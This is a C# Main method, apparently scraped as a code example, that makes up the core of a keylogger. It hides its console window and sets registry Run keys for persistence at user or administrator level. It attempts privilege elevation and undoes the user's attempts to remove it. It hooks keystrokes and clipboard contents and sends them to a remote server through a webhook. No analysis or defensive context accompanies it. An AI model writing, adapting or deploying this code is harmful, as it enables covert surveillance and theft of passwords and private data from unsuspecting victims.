Example #1
0
        public static void Main()
        {
            #region Terminal visibility

#if RELEASE
            var handle = GetConsoleWindow();
            ShowWindow(handle, SW_HIDE);  // to hide the running application
#endif

            #endregion

            Logger.RunFile = Application.ExecutablePath.Replace(".dll", ".exe");

            try
            {
                #region Permissions

                // Get current executor permissions
                bool isAdmin = new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);
#if DEBUG
                Console.WriteLine(runFile);
                Console.WriteLine(isAdmin ? "Administrator" : "User");
#endif

                #endregion

                #region Registers & Commands

                if (isAdmin)
                {
                    // Set global registry key
                    if (RegistryManager.ReadKey <string>(REG_STARTUP_KEY_ADMIN, REG_NAME) != Logger.RunFile)
                    {
                        RegistryManager.WriteKey(REG_STARTUP_KEY_ADMIN, REG_NAME, Logger.RunFile);
                    }

                    // Remove duplicit startup
                    RegistryManager.RemoveKey(REG_STARTUP_KEY_USER, REG_NAME);

                    // Execute admin commands
                    RunCommands(true);
                }
                else
                {
                    if (!RegistryManager.HasKey(REG_STARTUP_KEY_ADMIN, REG_NAME))
                    {
                        // Set user registry key
                        if (RegistryManager.ReadKey <string>(REG_STARTUP_KEY_USER, REG_NAME) != Logger.RunFile)
                        {
                            RegistryManager.WriteKey(REG_STARTUP_KEY_USER, REG_NAME, Logger.RunFile);
                        }

                        // Try get privileges
                        ElevatePrivileges();
                    }

                    // User could have reversed some of our changes, check their state
                    if (RUN_CHECKS_ON_USER)
                    {
                        RunChecks();
                    }

                    // Execute user commands
                    RunCommands(false);
                }

                #endregion

                #region Key logging

                using var keyboard = new KeyboardHook();
                var analyzer = new KeyboardAnalyzer();
                using var server = new WebHook();
                server.Connect(CONNECT).GetAwaiter().GetResult();

                analyzer.OnPress += (codes, keys) =>
                {
                    analyzer.CopyClipboard(keys);
#if DEBUG
                    Console.WriteLine($"{keys.Last().From.ToLongTimeString()} {keys.Last().To.ToLongTimeString()}: {string.Join(" + ", keys.Select(k => $"{k.Key} ({DateTime.UtcNow-k.From})"))}");
                    if (keys.Last().DataType.HasValue&& keys.Last().Data != null)
                    {
                        var text = keys.Last().Data.ToString();
                        if (text != null)
                        {
                            if (text.Length > 80)
                            {
                                Console.WriteLine(text.Substring(0, 80));
                            }
                            else
                            {
                                Console.WriteLine(text);
                            }
                        }
                    }
#endif
                    server.SendKeys(SEND, keys);
                };

                keyboard.KeyDown += (i, k) => { analyzer.KeyDown(i, k); };
                keyboard.KeyUp   += (i, k) => { analyzer.KeyUp(i, k); };

                #endregion

                Application.Run();
            }
            catch (Exception ex)
            {
                #region Fail log

                Logger.LogException(ex);

                #endregion
            }

#if DEBUG
            while (Console.ReadLine() != "exit")
            {
                ;
            }
#endif
        }